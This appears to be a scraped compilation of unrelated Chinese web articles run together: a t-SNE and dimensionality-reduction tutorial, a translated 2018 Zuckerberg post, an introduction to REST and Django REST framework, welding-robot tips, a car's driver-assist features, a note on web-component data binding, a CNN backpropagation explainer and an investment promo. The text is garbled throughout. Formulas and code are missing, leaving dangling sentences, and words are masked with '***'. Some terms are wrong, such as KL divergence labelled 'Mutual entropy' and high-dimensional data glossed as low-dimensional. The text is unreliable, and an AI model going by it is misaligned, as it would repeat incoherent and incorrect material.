  ★高维空间中数据样本极其稀疏。需要维度几何级数的数据才能满足在高维空间密采样(dense sample)。反过来,高维数据降维到低维空间也将发生“拥挤问题(Crowding Problem)[2]”

  ★高维单位空间中数据几乎全部位于超立方体的边缘。

  几何学能给出高维空间中超几何体的体积,单位超立方体的体积为:

  而其内切超球体的体积公式如下:

  对两者商做极限可得:

  因此可以说一个高维单元空间只有边角,而没有中心。数据也只能处于边缘上,而远离中心。这样就直接导致了下一个性质:

  ★欧氏距离失效(因此任何基于欧氏距离的算法也失效)。

  上图描述的是高维空间中大距离和小距离的差异越来越不明显:

  这是由上一性质自然推导出的结论。

  降维

  降维(dimension reduction)的基本作用:

  ★缓解维数灾难。即提高样本密度,以及使基于欧氏距离的算法重新生效。

  ★数据预处理。对数据去冗余、降低信噪比。

  ★方便可视化。

  降维的概念中有两对直觉性的概念会反复出现:高维/低维空间、高维/低维数据。在文献中他们有若干别称[3]:

  ★高维空间(high-dimensional space),又叫原空间(original space)

  ★高维数据(low-dimensional data),也直接叫数据点(data points),用于和下述的映射点对应。

  ★低维空间(low-dimensional space),又叫嵌入空间(embedded space)、低维映射(low-dimensional map,map在此做名词用)等。

  ★低维数据(low-dimensional data),又叫低维嵌入(low-dimensional embeddings)、低维表示(low-dimensional representations)、映射点(map points)等

  嵌入(embedding):数学上,嵌入是指一个数学结构经映射包含在另一个结构中。

  ★NLP目前所使用的词嵌入(word embedding)一词的本意可能就是这个意思。最初所使用的词向量是one-hot向量,维度等于词表大小(约几十万)。后来采用分布式表示的词向量,维度一般取几百维。因此我们认为分布式表示的词向量是更高维度语义空间的低维嵌入(embedding)。

  ★"Embed Everything!" 嵌入的思想不仅可以用在词(word)上,还能用于许多其他技术上。如知识图谱中可以把原先的 *** 结构也做嵌入,有实体嵌入、关系嵌入等。

  降维技术可以分为线性和非线性两大类:

  ★线性降维技术。侧重让不相似的点在低维表示中分开。

  ①PCA(Principle Components Analysis,主成分分析)

  ②MDS(Multiple Dimensional Scaling,多维缩放)等

  ★非线性降维技术(广义上“非线性降维技术”≈“流形学习”,狭义上后者是前者子集)。这类技术假设高维数据实际上处于一个比所处空间维度低的非线性流形上,因此侧重让相似的近邻点在低维表示中靠近。

  ①Sammon mapping

  ②SNE(Stochastic Neighbor Embedding,随机近邻嵌入),t-SNE是基于SNE的。

  ③Isomap(Isometric Mapping,等度量映射)

  ④MVU(Maximum Variance Unfolding)

  ⑤LLE(Locally Linear Embedding,局部线性嵌入)等

  流形学习

  流形(manifold):

  ★机器学习中指的流形指本征维度较低但嵌入在高维空间中的空间(a manifold haslow intrinsic dimensions, and isembeddedwithin a space of much higher dimensionality[4] )。比如上图中的S-curve数据集,本征维度=2(摊开来是一个二维空间),但被嵌在三维空间中。

  ★数学中提到流形,强调其具有局部欧式空间的性质,可以在局部应用欧几里得距离。但是在机器学习(流形学习)中,这个假设基本不成立。原因是高维空间由于维数灾难的存在,没有足够稠密的数据能在足够小的局部去近似该流形[5] 。

  ★但是流形概念中局部的思想仍可以借鉴。它为降维提供了另一个视角:从微观角度去探索高维数据结构。

  距离[6] :想象你是一只蚂蚁,在图中的二维曲面流形上行走。

  ★高维直线距离:左图黑线。这个距离没有意义!

  ★测地线距离:左图红线,右图红虚线。这个距离才有意义!

  ★近邻距离:右图黑折线。用近邻距离可以拟合测地线距离。

  学习:流形学习之所以叫学习,因为它不像PCA一类的纯线性代数降维 *** ,而是更像一个类似神经 *** 的学习算法。

  ★神经 *** 大部分是有监督学习;流形学习大部分是无监督学习。

  ★神经 *** 拟合一个分类函数;流形学习(以t-SNE为例)拟合高维数据的分布。

  ★神经 *** 学习参数;流形学习(以t-SNE为例)直接学习低维数据的表达。

  ★两者均有损失函数、梯度下降、迭代轮数等学习算法的特点。

  学术篇

  SNE

  SNE(Stochastic Neighbor Embedding,随机近邻嵌入)[7]

  SNE两个主要思路/步骤:

  ★将欧氏距离转化为条件概率来表征点间相似度(pairwise similarity)。

  ★使用梯度下降算法来使低维分布学习/拟合高维分布。

  给定高维空间的数据点:

  是以x_i自己为中心,以高斯分布选择x_j作为近邻点的条件概率:

  注意:

  1)对除i外其他所有j都计算一个条件概率后,形成一个概率分布列,所以分母需要归一化;

  2)默认p_(i|i)=0;

  3;每不同数据点x_i有不同的σ_i,在此不展开。

  同理,有低维空间的映射点:

  分别对应:

  q_(j|i)是y_i以自己为中心,以高斯分布选择y_j作为近邻点的条件概率:

  注意:这里方差统一取σ_i=1/√2,若方差取其他值,对结果影响仅仅是缩放而已。

  SNE的目标是让低维分布去拟合高维分布,则目标是令两个分布一致。两个分布的一致程度可以使用相对熵(Mutual entropy,也叫做KL散度,Kullback-Leibler divergences,KLD)来衡量,可以以此定义代价函数(cost function):

  其中P_i (k=j)=p_(j|i) 和Q_i (k=j)=q_(j|i)是两个分布列。

  注意:KLD是不对称的!因为 KLD=plog(p/q),p>q时为正,p

  对C进行梯度下降即可以学习到合适的y_i。

  梯度公式:

  带动量的梯度更新公式:(这里给出单个y_i点的梯度下降公式,显然需要对所有:Y^(T)=进行统一迭代。)

  t-SNE

  t-DistributedStochastic Neighbor Embedding[8]

  事实上SNE并没有解决维度灾难带来的若干问题:

  ★拥挤问题(Crowding Problem):在二维映射空间中,能容纳(高维空间中的)中等距离间隔点的空间,不会比能容纳(高维空间中的)相近点的空间大太多[9]。

  ★换言之,哪怕高维空间中离得较远的点,在低维空间中留不出这么多空间来映射。于是到最后高维空间中的点,尤其是远距离和中等距离的点,在低维空间中统统被塞在了一起,这就叫做“拥挤问题(Crowding Problem)”。

  ★拥挤问题带来的一个直接后果,就是高维空间中分离的簇,在低维中被分的不明显(但是可以分成一个个区块)。比如用SNE去可视化MNIST数据集的结果如下:

  如何解决?高维空间保持高斯分布不变,将低维空间的分布做调整,使得两边尾巴比高维空间的高斯分布更高,即可缓解拥挤问题。想一想为什么?(在下面t-分布中解释)

  ★UNI-SNE[10]:给低维空间的点给予一个均匀分布(uniform dist),使得对于高维空间中距离较远的点(p_ij较小),强制保证在低维空间中q_ij>p_ij (因为均匀分布的两边比高斯分布的两边高出太多了)。

  t-分布(Student's t-distribution)

  ★t-分布的概率密度函数(probability density function,PDF)形式为:

  其中 ν 是自由度。

  figure of probability density function

  ★当 ν=1:

  叫做柯西分布(Cauchy distribution),我们用到是这个简单形式。

  ★当 ν=∞:

  叫做高斯/正态分布(Guassian/Normal distribution)。

  我们在低维空间的分布中,把原先用的高斯分布改成自由度为1的分布(把尾巴抬高)。下图可以很好地说明为什么“把尾巴抬高”可以很好地缓解拥挤问题。绘图代码参考 [11]

  假设我们的低维数据分布对高维数据分布已经拟合完毕,则可以认为对于高维数据点x_i、x_j和低维映射点y_i、y_j,有p_ij=q_ij。我们用图中两条红线表示两种情况:

  ①上面的红线表示:当两个点相距相对近的时候,低维空间中比高维空间中相对更近。

  ②下面的红线表示:当两个点相距相对远的时候,低维空间中比高维空间中相对更远。

  可以对比一下采用t-SNE对MNIST数据集的降维可视化效果:

  以下为扎克伯格博文全文:

  2018年,我个人的挑战重点是解决我们社区所面临的一些最重要的问题——包括避免选举遭到干涉,阻止仇恨言论和错误信息的传播,确保人们可以控制自己的信息,以及确保我们的服务能够改善人们的福祉。在其中的每一个领域,我都为自己取得的进展感到骄傲.

  与2016年甚至一年前相比,我们都已经大不相同。我们已经从根本上改变了自己的DNA,集中更多精力避免我们的服务所带来的伤害。我们已经系统性地改变了公司的很大一部分业务,以此避免伤害。我们现在有超过3万人从事安全工作,每年投入到安全中的资金达到数十亿美元。

  需要明确的是,这些挑战不可能在短短一年内解决。但在我提到的每一个领域,我们现在都制定了持续多年的计划,希望彻底改革我们的系统,我们也在按部就班地执行这些路线图。在过去,我们对这些问题投入的关注的确不够,但我们现在表现得更加积极主动。

  这并不意味着我们能抓住每一个不良分子或每一项不良内容,也不表示无法在我们改善系统前找到更多过去的错误。其中一些问题可能永远无法解决,比如选举干扰或有害言论。我们要面对复杂的对手,还要面临人性的挑战,所以必须不断地努力前行。但总的来说,我们已经建立了一些世界上更先进的系统来找到和解决这些问题,在未来几年继续改进。

  我们今年做了很多改进和改变,以下是最重要的几项:

  为了防止选举糟糕干扰,我们改进了自己的系统,以识别虚假帐号和协调活动(这些都是主要的干扰来源)——现在每天都会删除数以百万的假帐号。我们与世界各国的事实验证机构合作,共同识别错误信息并缩小其传播范围。我们为广告透明度创造了一个新的标准,任何人现在都可以看到广告主向不同受众投放的所有广告。我们设立了一个独立的选举研究委员会来研究威胁,还通过我们的系统来应对这些威胁。我们已经与世界各地的 *** 和执法机构合作,为选举做好准备.

  为了阻止有害内容的传播,我们建立了人工智能系统,在人们看到恐怖主义、仇恨言论和更多内容之前自动识别这些内容并将其删除。例如,这些系统撤下了99%与 *** 有关的内容,我们甚至在没有任何人报告之前就已将其删除。我们改进了News Feed,推广来自可信来源的消息。我们正在开发许多系统来自动减少边缘内容的传播,包括耸人听闻和错误的信息。我们的内容审查团队人数扩大了三倍,以处理人工智能无法判断的更复杂的案例。我们还建立了一套上诉系统,以免我们做出错误决定。我们正在努力建立一个独立的机构,让人们可以对我们的决定提出上诉,这将有助于我们制定政策。我们已经开始发布透明度报告,阐述我们在消除有害内容的过程中达到的效果。我们还开始与各国 *** 合作(例如法国)为互联网平台建立有效的内容监管。

  为了确保人们能够控制自己的信息,我们改变了自己的开发者平台,以减少应用程序可以获取的信息数量——在此之前,我们已经在2014年展开了重大变革,大幅减少了信息获取程度,避免像剑桥分析这样的问题再次发生。我们在全世界推出了针对欧盟《通用数据保护条例》出台的全新控制模式,并要求所有人检查他们的隐私设置。我们减少了在我们的广告系统中使用的一些第三方信息。我们开始建立一个Clear History工具,让人们更透明地了解他们的浏览历史,还允许他们从我们的系统中清除这些历史信息。我们继续开发经过加密的阅后即焚消息和分享服务,我们认为这将是人们今后沟通方式的基础.

  为了确保我们的服务能够改善人们的福祉,我们展开了研究,结果发现,当人们使用互联网与他人互动时,这个过程与你预期的福祉的所有积极因素都有关联,包括幸福、健康和更加亲密的感受等。但是当你只是使用互联网被动消费内容时,便与这些积极因素并不相关。基于这项研究,我们已经改变了自己的服务,鼓励有意义的社交互动,而不是被动消费内容。我们做了一个改变,将人们每天观看的病毒视频数量缩短了5万小时。总的来说,这些变化在短期内故意减少了参与和营收,但我们相信这可以帮助我们在长期内建立更强大的社区和业务.

  如果你有兴趣详细了解这些变化,我之前已经专门撰文详细阐述了在选举方面和内容管理及执行方面所作的工作。你还可以在之前的文章中看到跟我们的研究有关的内容。

  通过专注这些问题,我学到了很多东西,而我们还有很多工作要做。我为我们在2018年取得的进展感到骄傲,并感谢所有帮助我们达成这项成就的人——包括Facebook内部团队、我们的合作伙伴和独立研究人员,以及给我们提供了这么多反馈的每一个人。进入新的一年,我致力于继续在这些重要问题上取得进展.

  我也为我们今年取得的其他进展感到骄傲。有20多亿人现在每天使用我们的一项服务,与最重要的人保持联系。数以亿计的人参加了各种社区,他们表示,这些社区给他们带来了最重要的社会支持。人们共同利用这些工具筹集了超过10亿美元,找到了100多万个新的工作。有9000多万小企业使用我们的工具,超过一半表示他们因此雇佣了更多的人。建设社区、建立人际关系可以带来很多好处,我也致力于继续推进我们在这些领域的进步。

  新的一年即将来临,我们还将再创辉煌。

  引入 Django REST framework 框架

  Web 应用模式

  在开发 Web 应用中,有两种开发模式:

  前后端不分离

  前后端分离

  前后端不分离

  在前后端不分离的应用模式中,前端看到的效果都是有后端控制,由后端渲染页面或重定向,也就是后端需要 控制前端的展示,前端与后端的耦合度很高。

  这种应用模式比较适合纯网页应用,但是当后端对接 app 时, app 可能并不需要后端返回一个 HTML 网页,而仅仅是数据本身,所以后端原本返回网页的接口不再适用于前端的 app 应用,为了对接 app 后端还需要再开发一套接口。

  前后端分离

  低耦合,高内聚

  耦合:;模块与模块之间接口的复杂程度,模块之间联系越复杂耦合度越高,牵一发而动全身。

  内聚:每个模块尽可能独立完成自己的功能,不依赖于模块外部的代码。

  使模块的“可重用性”,“移植性” 大大增强

  在前后端分离的应用模式中,后端仅返回前端所需要的数据,不再渲染 HTML页面,不再控制前端的效果。至于前端用户看到什么效果,从后端请求的数据如何加载到前端中,都由前端自己决定,网页有网页的处理方式,app 有 app 的处理方式,但无论哪种前端,所需的数据基本相同,后端仅需开发一套逻辑对外提供数据即可。

  在前后端分离的应用模式中,前端与后端的耦合度相对较低。

  在前后端分离的应用模式中,我们通常将后端开发的每个视图都称为一个接口,或者 API,前端通过访问接口来对数据进行增删改查。

  认识 RESTful

  在前后端分离的应用模式里,后端 API 接口如何定义?

  后端数据库中保存的数据,前端可能需要对商品数据进行增删改查,对应的每个操作后端都需要提供一个 API 接口;

  对于接口的请求方式与路径,每个后端开发人员可能都有自己的定义方式。

  所以普遍采用的 API 的 RESTful 设计风格。

  起源

  REST 是 Fielding 在他的 2000 年的博士论文中提出的,他还是 HTTP 协议的主要设计者

  名称

  Fielding 将互联网软件的架构原则,定名为REST,即Representational State Transfer的缩写。 *** 称其为“具象状态传输”,国内大部分人理解为“表现层状态转化”。

  RESTful 是一种开发理念。 *** 说:REST 是设计风格而不是标准。

  REST 特点:url 简洁,将参数通过 url 传到服务器。

  一个架构符合 REST 原则,就称它为 RESTful 架构。

  要理解RESTful架构,理解Representational State Transfer这三个单词的意思:

  具象的,就是指表现层,要表现的对象也就是“资源”,就是客户访问服务器,所获取的就是资源。

  表现: 文本可以使用 txt、html、xml、json格式表现,图片可以使用 jpg、png 表现

  状态转换: 就是客户端和服务器互动的一个过程,在这个过程或只能怪,势必涉及到数据和状态的变化,这种变化叫状态转换。

  互联网通信协议HTTP协议,客户端访问必然使用HTTP协议,如果客户端想要操作服务器,必须通过某种手段,让服务器发生“状态转化”(State Transfer)

  HTTP 协议实际上包含有 4 个表示操作方式的动词,分别是 GET, POST, PUT, DELETE,他们分别对应四种操作。GET 用于获取资源,POST 用于新建资源,PUT 用于更新资源,DELETE 用于删除资源。GET 和 POST 是表单提交的两种 基本方式,比较常见。

  HTTP 协议是一种无状态协议,这样就必须把所有的状态都保存在服务器端。因此,如果客户端想要操作服务器,必须通过某种手段,让服务器发生“状态转化”。

  总结

  RESTful 架构就是:

  每个 URL 代表一种资源

  客户端和服务器之间,传递这种资源的某种表现层

  客户端通过四个 HTTP 动词,对服务器端资源进行操作,实现“表现层状态转化”。

  RESTful 设计 ***

  域名

  应该尽量将 API 部署在专用域名之下,如果 API 确定很简单,不会有进一步扩展,可以考虑放在主域名下。

  版本

  应该将 API 的版本号放入 URL,另一种做法是将版本号放在 HTTP 头信息中。

  路径

  路径又称为“终点”,表示 API 的具体网址,每个网址代表一种资源。

  资源作为网址,只能有名词,不能有动词,而且所用的名称往往与数据库的表名对应。

  API 中的名称应该使用复数。无论子资源 或者所有资源。

  HTTP 动词

  对于资源的具体操作类型,由HTTP动词表示。

  常用的HTTP动词有下面四个(括号里是对应的SQL命令)。

  GET(SELECT):从服务器取出资源(一项或多项)。

  POST(CREATE):在服务器新建一个资源。

  PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。

  DELETE(DELETE):从服务器删除资源。

  还有三个不常用的HTTP动词。

  PATCH(UPDATE):在服务器更新(更新)资源(客户端提供改变的属性)。

  HEAD:获取资源的元数据。

  OPTIONS:获取信息,关于资源的哪些属性是客户端可以改变的。

  过滤信息

  如果记录数量很多,服务器不可能都将它们返回给用户。API 应该提供参数,过滤返回结果 。

  参数的设计允许存在冗余,即允许 API 路径和 URL 参数偶尔有重复。

  状态码

  服务器向用户返回的状态码和提示信息:

  200 OK - [GET]:服务器成功返回用户请求的数据

  201 CREATED - [POST/PUT/PATCH]:用户新建或修改数据成功

  202 Accepted - [*]:表示一个请求已经进入后台排队(异步任务)

  204 NO CONTENT - [DELETE]:用户删除数据成功

  400 INVALID REQUEST - [POST/PUT/PATCH]:用户发出的请求有错误,服务器没有进行新建或修改数据操作

  401 Unauthorized - [*]:表示用户没有权限(令牌、用户名、密码错误)。

  403 Forbidden - [*] 表示用户得到授权(与401错误相对),但是访问是被禁止的。

  404 NOT FOUND - [*]:用户发出的请求针对的是不存在的记录,服务器没有进行操作,该操作是幂等的。

  406 Not Acceptable - [GET]:用户请求的格式不可得(比如用户请求 *** ON格式,但是只有XML格式)。

  410 Gone -[GET]:用户请求的资源被永久删除,且不会再得到的。

  422 Unprocesable entity - [POST/PUT/PATCH] 当创建一个对象时,发生一个验证错误。

  500 INTERNAL SERVER ERROR - [*]:服务器发生错误,用户将无法判断发出的请求是否成功。

  错误处理

  如果状态码是 4xx,服务器就应该向用户返回出错信息。一般来说,返回的信息中将 error 作为键名,出错信息作为键值即可。

  返回结果

  针对不同操作,服务器向用户返回的结果应该符合以下规范。

  GET /collection:返回资源对象的列表(数组)

  GET /collection/resource:返回单个资源对象

  POST /collection:返回新生成的资源对象

  PUT /collection/resource:返回完整的资源对象

  PATCH /collection/resource:返回完整的资源对象

  DELETE /collection/resource:返回一个空文档

  超媒体

  RESTful API 更好做到 Hypermedia(即返回结果中提供链接,连向其他 API *** ),使得用户不查文档,也知道下一步应该做什么。

  其他

  服务器返回的数据格式,应该尽量使用 json,避免使用 xml

  使用 Django 开发 REST 接口

  不同的请求访问不同的路由,不同的路由对应相应要执行的 *** ,取到数据,构造 json 格式,返回数据。

  GET /books/ 返回所有的数据

  POST /books/ 新建数据

  GET /books/id/ 查询一条数据

  PUT /books/id/ 修改某条数据

  DELETE /books/id/ 删除某条数据

  明确 REST 接口开发的核心任务

  在开发 REST API 接口时,视图中做的最主要有三件事:

  将请求的数据转换为模型类对象

  操作数据库

  将模型类对象转换为响应的数据

  序列化 serialization

  序列化简单理解就是将程序中的一个数据结构类型转换为其他格式(字典、 *** ON、XML等),例如将 Django 中的模型类对象转换为 json 字符串这个转换过程我们称为序列化。

  反之,将其他格式(字典、json、xml等)转换为程序中的数据,例如将 json 字符串转换为 Django 中的模型类对象,这个过程我们称为反序列化。

  在开发 REST API 时,视图中要频繁的进行序列化与反序列化的编写。

  总结

  在开发 REST API 接口时,我们在视图中需要做的最核心的事是:

  将数据库数据序列化为前端所需要的格式,并返回;

  将前端发送的数据反序列化为模型类对象,并保存到数据库中。

  Django REST framework 简介

  在序列化与反序列化时,虽然操作的数据不尽相同,但是执行的过程却是相似的,也就是说这部分代码是可以复用简化编写的。

  在开发 REST API 的视图中,虽然每个视图具体操作的数据不同,但增、删、改、查的实现流程基本套路化,所以这部分代码也是可以复用简化编写的:

  增:校验请求数据 -> 执行反序列化过程 -> 保存数据库 -> 将保存的对象序列化返回

  删:判断要删除的数据是否存在 -> 执行数据库删除

  该:判断要修改的数据是否存在 -> 校验请求的数据 -> 执行反序列化过程 -> 保存数据库 -> 将保存的对象序列化并返回

  查:查询数据库 -> 将数据序列化并返回

  Django REST framework 可以帮助我们简化上述两部分的代码编写,大大提高 REST API 的开发速度。

  认识 Django REST framework

  Django REST framework 框架是一个用于构建 web API 的强大而又灵活的工具。通常简称为 DRF 框架或 REST framework。

  DRF 框架是建立在 Django 框架基础之上,由 Tom Christie 大牛二次开发的开源项目。

  特点:

  提供了定义序列化器 serializer 的 *** ,可以快速根据 Django ORM 或者其它库自动序列化/反序列化;

  提供了丰富的类视图、Mixin 扩展类、简化视图的编写;

  丰富的定制层级:函数视图、类视图、视图 *** 到自动生成 API,满足各种需要;

  多种身份认证和权限认证方式的支持;

  内置了限流系统;

  直观的 API Web 界面;

  可扩展性,插件丰富。

  激光焊接机器人的特点是被焊接工件变形极小,几乎没有连接间隙,焊接深度/宽度比高,焊接质量比传统焊接 *** 高。

  来看视频吧

  那么在编程技巧上有哪些注意点呢?

  1、及时插入清枪程序。可防止焊接飞溅堵塞焊接喷嘴和导电嘴,保证焊枪的清洁,提高喷嘴的寿命,确保可靠引弧、减少焊接飞溅。

  2、焊枪空间过渡要求移动轨迹较短、平滑、安全。

  3、选择合理的焊接顺序。以减小焊接变形、焊枪行走路径长度来制定焊接顺序。

  4、优化激光焊接机焊接参数。为了获得准确的焊接参数, *** 工作试件进行焊接试验和工艺评定。

  5、合理的变位机位置、焊枪姿态、焊枪相对接头的位置。工件在变位机上固定之后,若焊缝不是理想的位置与角度,就要求编程时不断调整变位机,使得焊接的焊缝按照焊接顺序逐次达到水平位置。同时,需要不断调整机器人各轴位置,合理地确定焊枪相对接头的位置、角度与焊丝伸出长度。

  工件的位置确定之后,焊枪相对接头的位置通过编程者的双眼来观察,难度较大。

  这就要求编程者善于总结积累经验。

  点击下方播放按钮观看视频哦!

  长安CS55之所以拥有L2级别驾驶辅助系统,得归功于长安IACC技术,其采用多传感器融合技术,融合毫米波雷达、多功能摄像头和导航地图,感知行驶道路环境,通过动力、制动、转向控制车辆自动加减速及转向,将车辆保持在车道中或跟随前方目标车轨迹自动驾驶。

  ICA单车道智能辅助驾驶

  利用自适应巡航控制系统使用的雷达、车道辅助系统使用的摄像头探测前方车辆、车道线,通过控制车速、保持车辆以设定的巡航速度行驶或与前车保持预先设定的跟车时距行驶,通过通过控制转向实现车辆在车道内行驶。

  TJA交通拥堵辅助

  利用自适应巡航控制系统使用的雷达、车道辅助系统使用的摄像头探测前方车辆和运动轨迹,通过控制车速与前车保持预先设定的跟车时距行驶,同时通过控制转向跟随前车轨迹行驶。

  自动减速过弯

  利用车道辅助系统使用的摄像头探测前方弯道的半径,系统自动计算出本车通过弯道的安全车速,智能调节车速过弯,出弯后自动加速到驾驶员设定速度行驶,确保安全过弯,前提是弯道的半径不小于250米即可自动触发。

  智能限速辅助

  利用车道辅助系统使用的摄像头探测前方交通限速标志,系统结合本车实时车速以及导航反馈的当前车道的限速信息,控制ESP保持绝对合理合法的车速通过限速路段。

  场景重构

  通过雷达与摄像头,将车辆距离、车辆类型、道路限速等信息重构,并呈现在仪表盘上,四周车况一览无余,能预先了解前方路况与车辆,无疑能增加不少行车安全。

  语音控制巡航速度

  通过小安语音设定巡航速度,自使用巡航控制器对车速进行重新设定。

  在《抛开 Vue、React、JQuery 这类第三方js,我们该怎么写代码?》文章中提到了使用原生的web components技术来开发项目。开发中碰到了一些有挑战性的问题,这篇文章就来记录一下在封装DOM操作时碰到的问题以及解决方式。

  主流框架与数据绑

  关于DOM操作就不得不提到一个js库——JQuery。JQuery是成也DOM(强大的选择器,链式操作方式)败也DOM(数据绑定取代了DOM操作)。

  业务代码中嵌入大量的DOM操作会带来一些问题:

  1.作用域。DOM操作没有作用域,也就是说可以被任何代码操作,这样导致变化不可追溯,出现问题难以调试。虽然shadow DOM具有一定的作用域,但其它代码也是可以操作的。

  2.性能。频繁或大量地操作DOM通常容易引起渲染性能问题,原生操作DOM的方式优化起来需要一定的经验和技巧,所以容易导致不同水平的开发者写出性能不同的代码。

  3.耦合度。JavaScript逻辑和DOM操作混合的代码耦合性很高,可读性低且难以测试。

  所以封装DOM操作是必要的,借鉴现有的主流视图框架思想,可以采用数据绑定。

  即建立一个数据模型,通过修改数据对象属性来操作视图。

  数据绑定的实现形式主要有3种:

  脏值检测

  脏值检测的实现原理是建立一个待检测队列,在解析视图模板的时候,将需要进行绑定的数据模型属性放入队列中。代表框架:Angular *** 。

  在需要检测的时候遍历队列,当属性发生变化时修改视图。

  那么什么时候进行检测呢?

  大致可分为两类

  同步操作,比如组件实例化的时候。

  异步操作,包括ajax请求、事件监听、setTimeout、setInterval等。

  这种方式缺陷很明显

  需要对所有的可能引起数据变化的操作进行封装,而且在编写业务代码的时候必须使用封装后的函数。

  每次检测会遍历整个队列,随着绑定属性增多,性能会受到影响。

  状态提交

  数据模型修改时(后),调用函数来触发视图修改。代表框架:React。

  这种方式在进行批量操作的时候非常有优势,这就和SQL数据库中使用事务来提交批量操作有些类似。

  缺陷也比较明显,就是每次修改数据都要进行提交,代码写起来略嫌麻烦。

  数据劫持

  数据劫持就监听数据模型属性的变动,然后触发对应的视图修改。代表框架:Vue。

  可以通过或者在不考虑兼容的情况下使用。

  但是在处理数组数据的时候有一些问题:调用数组函数如、等不会触发属性监听事件。

  所以需要一些hack手段将这些函数进行封装。

  实现数据绑定

  选择

  个人的编程习惯比较偏向于“onDemand”,在编写代码的时候的体现为按需编写和调用代码,在编译后的代码中喜欢按需加载代码。

  既然如此,Angular *** 那种监听属性全部遍历的粗放做法肯定不是我的首选。

  然后手动提交更新的方式一来会增加代码来进行提交操作,另一方面也容易忘记提交导致视图不更新产生bug,所以最后的选择只剩下数据劫持了。

  思路

  如果按照Vue的实现过程,需要解析视图模板,然后建立vdom树,同时对于需要绑定的数据进行监听,然后通过操作vdom树来更新视图。

  鉴于项目本身并不复杂,而且也没有必要完全照搬其实现思路,所以精简一下实现思路:

  “解析”视图模板。

  对需要绑定的数据进行监听。

  在监听函数中执行对应的DOM操作。

  “解析”模板

  一般来说“解析”这种操作是会将原有的代码或数据进行转化,比如“词法解析”就会把源码转化成一个一个的token。

  而这里“解析”模板的目的只是为了识别字符串中的需要数据绑定的语法(我们暂且称之“指令”)。所以可以在实例化之后直接使用选择器来进行操作。

  比如要进行文本属性的绑定,使用了指令,那么我们可以直接在shadowDOM中进行查找

  找到这些DOM元素之后,可以通过来获取需要绑定的属性。

  数据监听

  在建立数据监听之前我们需要建立一个数据模型,用来和视图建立映射关系,即当我们修改这个数据模型的时候能同步到视图上。

  假设我们的数据模型变量名为。然后通过对state变量的指定属性进行监听。

  这时候需要注意的是,一个属性可能和多个视图元素进行绑定,但是我们监听数据属性只能编写一次,所以需要对监听属性建立一个队列,当数据模型数据发生变化时,遍历队列中的执行函数并调用。

  操作DOM

  在执行函数中我们传入其绑定的DOM,然后执行函数根据各个指令的功能来操作DOM了。

  比如指令的执行逻辑会是这样:

  当然到这一步还只能算完成了一半,因为只实现了的操作,还没有完成。因此我们需要进行事件绑定。

  事件绑定是不是也可以用指令的方式呢?比如绑定单击事件:

  这样能满足一部分业务场景,但是更多的时候我们不仅要触发事件,而且还要传入参数。而被传入的参数有可能是变量名,也有可能是常量。比如:

  为数据模型上的属性名,而为一个布尔值常量。所以需要对事件绑定进行简单的语法解析,并在调用对应函数的时候传入正确的参数。

  优化

  数据绑定

  基于上面的实现,还可以将表单元素的事件绑定和数据绑定封装一下,实现双向数据绑定,这样能进一步减少业务代码。

  假定这个指令的名称为。那么在“解析”模板的时候要编写一个执行函数来同步DOM的值和模型数据属性。同时建立事件监听来将数据模型属性同步到DOM中。

  变化检测

  因为数据监听是在数据被赋值的时候就会触发,为了减少更新DOM,可以在调用DOM更新的执行函数时进行判断:只有属性发生变化时才触发DOM更新。

  未实现的功能

  数组函数未封装,所以现在更新数组只能通过赋值的方式操作。

  数据绑定不支持表达式等复杂的形式。

  相关源码:

  

  本文可被转发或分享,但必须保留完整图文信息和出处,作者保留追究一切法律责任的权利和手段~

  搜索关注公众号“web学习社”~

  15

  卷积神经 *** (CNN)现在是图像分类的标准方式,其 具有可公开访问的深度学习框架、训练有素的模型和服务。下面我们来更深入地了解CNN *** 中的权值共享以及反向传播原理,

  我们从多层感知器开始并计算delta误差:

  我们在上面的图片中看到与下一层按权重缩放的增量成正比。但是我们如何将MLP的概念与卷积神经 *** 联系起来呢?在MLP中,前一层的值通过 *** 的权重矩阵相乘得到下一层的神经元值,其中权重共享示意图如下所示:

  而在CNN中,我们是通过卷积将前一层输入到下一层,所以下面的图片就是在CNN中连接切割和权重共享后我们得到一层卷积神经 *** :

  这个图背后的想法是表明,这种神经 *** 配置与2D卷积运算相同,权重只是滤波器(也称为内核,卷积矩阵或掩码)。现在我们通过图片来显示CNN中的梯度计算。

  我们刚刚用“橙色”层的权重渐变来缩放“蓝色层”。与MLP的反向传播过程相似。只是在MLP中我们通过点乘,在这里我们使用卷积:

  是的,它与前一个(前向)案例的卷积有点不同。在那里我们做了所谓的有效卷积,而在这里我们做了一个完整的卷积。更重要的是我们将内核旋转180度。

  具体公式我们不推导,详情可查看文章:

  现在,我们可以总结一下CNN反向传播过程:

  1、CNN将传统 *** 层间的矩阵点乘替换为前馈和反向传播中的卷积运算。

  2、卷积神经 *** 采用权重共享策略,可以显着减少必须学习的参数数量。在连续卷积层中存在较大的感受野大小的神经元,并且存在汇集层,这也导致平移不变性。正如我们所观察到的,前向和后向传播的推导将根据我们传播的层而不同。

  回顾2018年,是近几年来经济形势非常特别的一年,经济贸易方面,特朗普发起的贸易战对经济造成了很大的冲击,投资市场方面,腾讯控股(港股)一路飙升到476,却又跌倒250多的低点等等...整个2018年经济贸易、投资市场均有很大的波动冲击。

  2019年即将迎来我们的生肖猪年,生肖猪也被人们称作“发财猪”,寓意着祥瑞、积福、聚财。面对2019年经济新形势,如何做到“趋利避险”?路闻卓立开启猪年聚宝盆计划!

  过往我们在宏观政策、行业发展、高新技术等方面做了全面的跟踪分析,也盛情邀请了相应的业内大咖,以及机构协会等做了深度的分析和预测,在2019新的一年中,我们将为您量身定制,重点分析,提供您最密切关注的经济动态和形势发展,开启聚宝盆计划。

  接下来请各位对号入座,开始“量身”。

  机构投资者:机构数据、专题分析

  对于机构投资者大多不乏投资经验,但面对复杂、严峻的经济形势,也亟需市场更为前沿的信息以及精准数据的研究分析,在2019年,我们将开拓更多的金融机构合作、大数据的整合研究等,在路闻卓立的“图文并茂”及“机构观点”模块作更为全面的数据研究和专题分析。

  您也可以留言其他您想要的经济协会论坛、机构研报,大家呼声较高的,我们也会与之交流、尽力达成未来的合作。

  个人投资者:业内高层、大咖人物“面对面”

  个人投资者来说,更为关注精准的投资 *** ,以及对投资市场未来动态的预测,但又对很多理论派的“专家”的夸夸奇谈而大感失望。因此,我们也将竭力邀请您所关心行业的业内高层人士讲座,业内管理层大咖将根据行业多年的工作经验以及最“机密”的高层信息,为您解读和把握更为精准的投资前景。并可以通过路闻卓立中的“卓见·面对面”、“人物”、“卓识·云课”等与行业内大咖“面对面”交流。

